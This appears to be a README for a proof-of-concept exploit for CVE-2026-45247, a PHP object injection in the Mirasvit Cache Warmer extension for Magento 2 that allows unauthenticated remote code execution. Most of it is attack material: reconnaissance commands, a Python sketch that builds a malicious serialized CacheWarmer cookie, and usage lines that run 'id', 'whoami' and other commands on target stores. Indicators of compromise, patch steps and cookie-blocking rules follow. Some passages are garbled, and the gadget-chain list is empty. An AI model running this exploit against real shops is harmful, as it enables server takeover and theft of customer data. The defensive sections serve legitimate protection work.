
PoC funcional de CVE-2026-45247: Injeção de Objeto PHP para RCE não autenticado no Mirasvit Full Page Cache (Magento 2).
CVE-2026-45247 é uma vulnerabilidade crítica de Injeção de Objetos PHP (PHP Object Injection) na extensão Mirasvit Full Page Cache Warmer para Magento 2 e Adobe Commerce. Um atacante não autenticado pode alcançar Execução Remota de Código (RCE) através do envio de um objeto PHP serializado manipulado no cookie CacheWarmer.
A vulnerabilidade reside na chamada sem restrições à função nativa unserialize() do PHP, combinada com cadeias de gadgets (gadget chains) disponíveis no Magento e suas dependências (especialmente Monolog).
| Atributo | Valor |
|---|---|
| CVE | CVE-2026-45247 |
| Produto | Mirasvit Full Page Cache Warmer for Magento 2 |
| Versões afetadas | Todas as versões anteriores a 1.11.12 |
| Patch disponível | Versão 1.11.12 (25 de maio de 2026) |
| CVSS Score | 9.8 (Crítica) |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Estado no CISA KEV | Exploração ativa confirmada (adicionada em 03/06/2026) |
| Data limite | 06/06/2026 |
CacheWarmer em cada requisição da lojaunserialize() sem sanitizaçãoSyslogUdpHandler, BufferHandler, FingersCrossedHandler), consegue-se RCE# Verificar se a loja usa Mirasvit Cache Warmer
curl -s https://loja.com/pub/media/mirasvit/cache_warmer/CHANGELOG.md
Fase 2: Análise de Vulnerabilidade
# La cookie se procesa en cada request sin autenticación
# El código vulnerable en Mirasvit:
$cookieValue = $_COOKIE['CacheWarmer'];
$data = unserialize(base64_decode($cookieValue)); # ¡Peligro!
Fase 3: Execução do Exploit
# Construcción de la cookie maliciosa
payload = serialize(PHPObjectInjection())
cookie_value = f"CacheWarmer:{base64_encode(payload)}"
# Envío de la petición
requests.get(target, cookies={'CacheWarmer': cookie_value})
Instalação
git clone https://github.com/seu-usuario/CVE-2026-45247.git
cd CVE-2026-45247
pip install requests
Execução Básica
# Verificar vulnerabilidade
python3 cve_2026_45247_poc.py https://loja.exemplo.com --check-only
# Executar comando 'id'
python3 cve_2026_45247_poc.py https://loja.exemplo.com "id"
# Executar comando personalizado
python3 cve_2026_45247_poc.py https://loja.exemplo.com "whoami"
# Usar proxy para depuração
python3 cve_2026_45247_poc.py https://loja.exemplo.com "ls -la" --proxy http://127.0.0.1:8080
Script Rápido
# Verificar com script bash
chmod +x check_cve_2026_45247.sh
./check_cve_2026_45247.sh https://loja.exemplo.com
Indicadores de Comprometimento (IOCs) Em logs de acesso:
CacheWarmer: (Tz|Qz|YT)[a-zA-Z0-9+/=]+
Comandos observados na exploração:
echo PWNED_CVE2026_$(date +%s)
sleep 5
Cadeias de gadgets utilizadas:
Atualização Imediata
# Atualizar para versão corrigida
composer require mirasvit/module-cache-warmer:1.11.12
bin/magento cache:flush
Mitigações Temporárias
# Bloquear cookie CacheWarmer no .htaccess ou nginx
RewriteCond %{HTTP_COOKIE} CacheWarmer
RewriteRule .* - [F,L]
// En app/code/local/Custom/BlockCookie.php
if (isset($_COOKIE['CacheWarmer'])) {
unset($_COOKIE['CacheWarmer']);
}